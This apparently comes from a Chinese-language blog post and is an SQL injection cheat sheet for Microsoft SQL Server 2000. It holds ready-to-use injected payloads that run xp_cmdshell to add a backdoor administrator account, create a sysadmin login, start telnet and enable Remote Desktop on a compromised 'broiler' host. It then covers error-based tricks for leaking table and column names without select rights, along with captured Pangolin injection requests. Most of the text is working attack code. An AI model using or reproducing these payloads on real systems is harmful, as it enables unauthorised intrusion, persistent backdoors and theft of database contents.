'';Exec master..xp_cmdshell ''net localGroup Administrators jiaoniang$ /add''--

'';exec master..sp_addlogin jiaoniang$,1866574--
'';exec master..sp_addsrvrolemember jiaoniang$,sysadmin--

'';exec xp_regread HKEY_LOCAL_MACHINE,''SYSTEM\CurrentControlSet\Services\lanmanserver\parameters'',''nullsessionshares''--

=-= 開服務 =-=
'';Exec master..xp_cmdshell ''net stat telnet''--
'';Exec master..xp_cmdshell ''net stat server''--

=-= 開3389 =-=
'';Exec master..xp_cmdshell "echo [Components] > c:\1866574"--
//在c盤根目錄建寫入一個文件
'';Exec master..xp_cmdshell "echo TsEnable = on >> c:\1866574"--
//追加寫入
'';Exec master..xp_cmdshell "sysocmgr /i:c:\windows\inf\sysoc.inf /u:c:\1866574 /q"--
//開3389,成功的話過會肉機會重啓!!
View Code

 

 

sysobjects表無select權限時暴表數據庫

全部的表名都只存在了sysobjects表裏,因此咱們沒法從別的地方獲得表名。

可是,你們有沒注意過sql server提供的object_name函數呢?
它與object_id函數是相對應的,object_id會返回指定對象在數據庫中的id值。

而object_name會返回指定ID所對應的數據庫對象名,對於表來講天然就是表名了。

好了,如今只要獲得全部的用戶表的ID就能夠獲得表名了, 表的ID在不少地方都會存儲,好比syscolumns表, 
咱們只要從syscolumns表裏面取得表的ID,再利用object_name就能夠獲得表名了。

下面是測試代碼:

declare @id int
select @id = 1
declare @sql varchar(100)
while @id <= 200
begin
select @sql = 'create table test'+ltrim(@id)+'(id int)'
exec(@sql)
select @id = @id +1
end


select distinct(object_name(id)) from syscolumns where object_name(id) not in('sysobjects','sysindexes','syscolumns','systypes',
'syscomments','sysfiles1','syspermissions','sysusers','sysproperties','sysdepends','sysreferences',
'sysfulltextcatalogs','sysindexkeys','sysforeignkeys','sysmembers','sysprotects',
'sysfulltextnotify','sysfiles','sysfilegroups','dt_addtosourcecontrol','dt_addtosourcecontrol_u',
'dt_adduserobject_vcs','dt_checkinobject','dt_checkinobject_u','dt_checkoutobject','dt_checkoutobject_u',
'dt_displayoaerror','dt_displayoaerror_u','dt_droppropertiesbyid','dt_dropuserobjectbyid','dt_generateansiname',
'dt_getobjwithprop','dt_getobjwithprop_u','dt_getpropertiesbyid','dt_getpropertiesbyid_u','dt_getpropertiesbyid_vcs',
'dt_getpropertiesbyid_vcs_u','dt_isundersourcecontrol','dt_isundersourcecontrol_u','dt_setpropertybyid',
'dt_setpropertybyid_u','dt_validateloginparams','dt_validateloginparams_u','dt_whocheckedout','dt_whocheckedout_u',
'dtproperties','sysconstraints','syssegments')

代碼在SQL SERVER 2000下測試經過。

先來抓包看一個PANGOLIN的暴列名的語句 ,十分經典:
SQL代碼
   1. GET /sql.asp?id=1 and (select top 1 cast(id as nvarchar(20))+char(124)  from [pubs]..[sysobjects] where name=0x4400390039005f0054006d007000)=0-- 取得要暴列名的表的ID  
   2.   
   3. GET /sql.asp?id=1 and (select cast(count(1) as varchar(10))+char(94) from [pubs]..[syscolumns] where id=757577737)=0-- 獲得此表的列的數量  
   4.   
   5. GET /sql.asp?id=1 and (select top 1 cast(name as varchar(8000)) from (select top 1 colid,name from [pubs]..[syscolumns] where id=757577737 order by colid) t order by colid desc)=0-- 開始從syscolumns裏面報列名了。  

其它的注入工具也大同小異,都是從syscolumns裏面取得列名。

當咱們沒法從syscolumns表裏面取得數據該怎麼辦?好比咱們沒有syscolumns表的select權限。

下面就是文章的重點了,其實說白了也就是一個函數的應用 :
SQL代碼

   1. select 1 where 1=(select isnull(col_name(object_id('admin'),3),'meiyoucilie'))  

上面這條語句表示獲得admin表的第三個列的名稱,並與1進行比較,結果確定是會報錯的,經過報錯結果咱們就能夠將第三列的名字暴出來了,沒有用到syscolumns表哦。

用到的是col_name函數,它有兩個參數,第一個就是表的ID,第二個就是列的索引。這個索引是從1開始的。
若是指定索引的號不存在。 好比admin表裏面一共才三個列,結果索引傳了個4進去 ,就會報錯說"meiyoucilie"
View Code
相關文章
相關標籤/搜索